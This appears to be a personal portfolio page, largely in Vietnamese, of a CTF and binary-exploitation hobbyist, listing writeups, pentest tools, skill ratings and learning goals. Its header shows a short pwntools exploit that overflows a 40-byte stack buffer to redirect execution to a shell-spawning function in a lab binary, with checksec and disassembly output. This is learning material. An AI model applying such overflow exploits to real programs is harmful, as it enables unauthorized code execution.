CLEARANCE // LEVEL-0

ID: 0x5348494E

> Learning pwn. Breaking assumptions.

BINARY EXPLOITATION & KERNEL SECURITY LAB

PHƯỚC TOÀN

// [0xSHIINN] — PWN & LOW-LEVEL SECURITY RESEARCH

Chia sẻ CTF writeups, exploit scripts và quá trình đào sâu vào bản chất hệ thống từ tầng thấp (binary exploitation, Linux kernel, memory corruption) đến bảo mật ứng dụng.

30+

CTF Pwned

10+

Exploit Tools

2Y+

Linux Daily

∞

Curiosity

[01] EXPLOIT WRITEUPS → GITHUB // 0xSHIJN

RAX 0x0000000000000000

RDI 0x00007fffffffe410

RBP 0x00007fffffffe3f0

RIP 0x401142 <vuln+28>

STACK FRAME TELEMETRY [0x7fffffffe3d0] STATE: NORMAL

char buf[40] "shiinn_input\0"

Saved RBP (8B) 0x7fffffffe3f0

Return Addr (RIP) 0x401142 <main>

pwndbg> checksec --file=./vuln_kernel
Arch: amd64-64-little | Stack: No canary | NX: Enabled | PIE: No PIE (0x400000)
pwndbg> x/i 0x4011d6
0x4011d6 <win_shell>:  mov rdi, 0x402008 ; "/bin/sh"
# Click [⚡ LAUNCH EXPLOIT] to watch live stack corruption & RIP hijack!

pwndbg>

Dump of assembler code for function win_shell:
0x004011d6 <+0>:   endbr64
0x004011da <+4>:   push   rbp
0x004011db <+5>:   mov    rbp, rsp
0x004011de <+8>:   lea    rdi, [rip+0xe23] # 0x402008 "/bin/sh"
0x004011e5 <+15>:  call   0x401050 <system@plt>
0x004011ea <+20>:  nop
0x004011eb <+21>:  pop    rbp
0x004011ec <+22>:  ret

#!/usr/bin/env python3 — 0xShiinn Exploit Template
from pwn import *
exe = ELF('./vuln_kernel')
io = process(exe.path)
payload = flat(
    b'A' * 40,               # Fill stack buf[40]
    p64(0x4242424242424242), # Overwrite Saved RBP
    p64(exe.sym.win_shell)   # Redirect RIP -> 0x4011d6
)
io.sendline(payload)
io.interactive()

// SECTOR_01

Operations & Knowledge Hub

SELECT_DIRECTORY [04 MODULES]

DIR // ~/WRITEUPS [STATUS: ACTIVE]

CTF Writeups & Exploit Notes

Tổng hợp writeup, phân tích lỗ hổng Pwn/Kernel, kịch bản khai thác và ghi chú kỹ thuật. Đỡ phải nhớ mọi thứ trong đầu (đầu người dễ crash).

$ checksec ./simple_overflow && python3 solve.py

[+] RIP overwritten -> 0x4011d6 <secret_flag>

DIR // ~/PUBLIC_APIS [REST // JSON]

Public Pentest APIs

Danh sách các REST API và công cụ dòng lệnh trực tuyến hỗ trợ pentest, tra cứu IP/ASN và tự động hóa tác vụ bảo mật.

GET /api/v1/ip HTTP/1.1 — Host: 0xshijn.github.io

HTTP/1.1 200 OK // {"status":"online","isp":"VNPT"}

DIR // ~/DAILY_LOGS [JOURNAL]

Daily Research Log

Nhật ký học tập, ghi chép quá trình rèn kỹ năng exploit mỗi ngày và những suy nghĩ thực tế trên hành trình nghiên cứu.

commit 8f92a1c (HEAD -> main) — Author: 0xShiinn

[LOG] Ngày 1: Bắt đầu hành trình chinh phục Pwn

DIR // ~/MINI_APPS [SANDBOX]

Mini Web Apps & Tooling

Những ứng dụng nhỏ, công cụ hỗ trợ và mini-project mình tự code hoặc sưu tầm trong quá trình thực hành.

$ ./run_sandbox --module ip-lookup-terminal

[+] Interactive Web CLI initialized on port 443

// SECTOR_02

Arsenal & Capability Matrix

TELEMETRY_RADAR // MEMORY_MAP

// SKILL_RADAR_v2.6 [6-AXIS]

PRIMARY FOCUS: RING-0 / RING-3 PWN

01 // EXPLOITATION [RING-0/3]

CTF Pwn & Stack/Heap88%

ROP & Ret2dlresolve84%

Kernel & KASLR Bypass68%

Web Security Mindset78%

02 // LANGUAGES [CORE]

Python (pwntools)92%

C / C++ & x86_64 ASM84%

HTML / CSS / JS85%

Node.js & React74%

03 // INFRA & RE [OPS]

Linux Daily + Git94%

GDB / Pwndbg / IDA88%

Docker & Containers82%

Bash & Automation86%

// RESEARCH_ACTIVITY_TELEMETRY : ACTIVE EXPLOIT LAB STREAK [2026]

// SECTOR_03

Operator Dossier & Directives

PROFILE // MISSIONS // UPLINK

// OPERATOR_PROFILE & UPLINK

Mình thích kiểu làm việc truyền thống: Tính cách mình có phần hơi nóng và ẩu. Portfolio này là nơi mình gom lại những thứ đã làm ra được, tự rèn tính kỷ luật và chuẩn chỉnh trong từng dòng exploit.

[TÍNH CÁCH: THỰC TẾ] [ƯU TIÊN: CHẤT LƯỢNG] [NGUYÊN TẮC: NÓI ÍT LÀM NHIỀU]

> Cậu có thể tìm tớ qua các liên kết mạng xã hội phía bên dưới nha <3

FACEBOOK INSTAGRAM

// ACTIVE_DIRECTIVES [2026]

DIRECTIVE_01 // LEARNING_PATH PROGRESS: 68%

Advanced Linux Kernel Exploitation

Nghiên cứu sâu về cơ chế cấp phát bộ nhớ slub/heap grooming, modprobe_path và kỹ thuật bypass KASLR/SMEP/SMAP.

DIRECTIVE_02 // CERTIFICATION_TARGET TARGET: 2026

OSCP Certification (OffSec)

Mục tiêu chinh phục chứng chỉ Offensive Security Certified Professional trong năm 2026.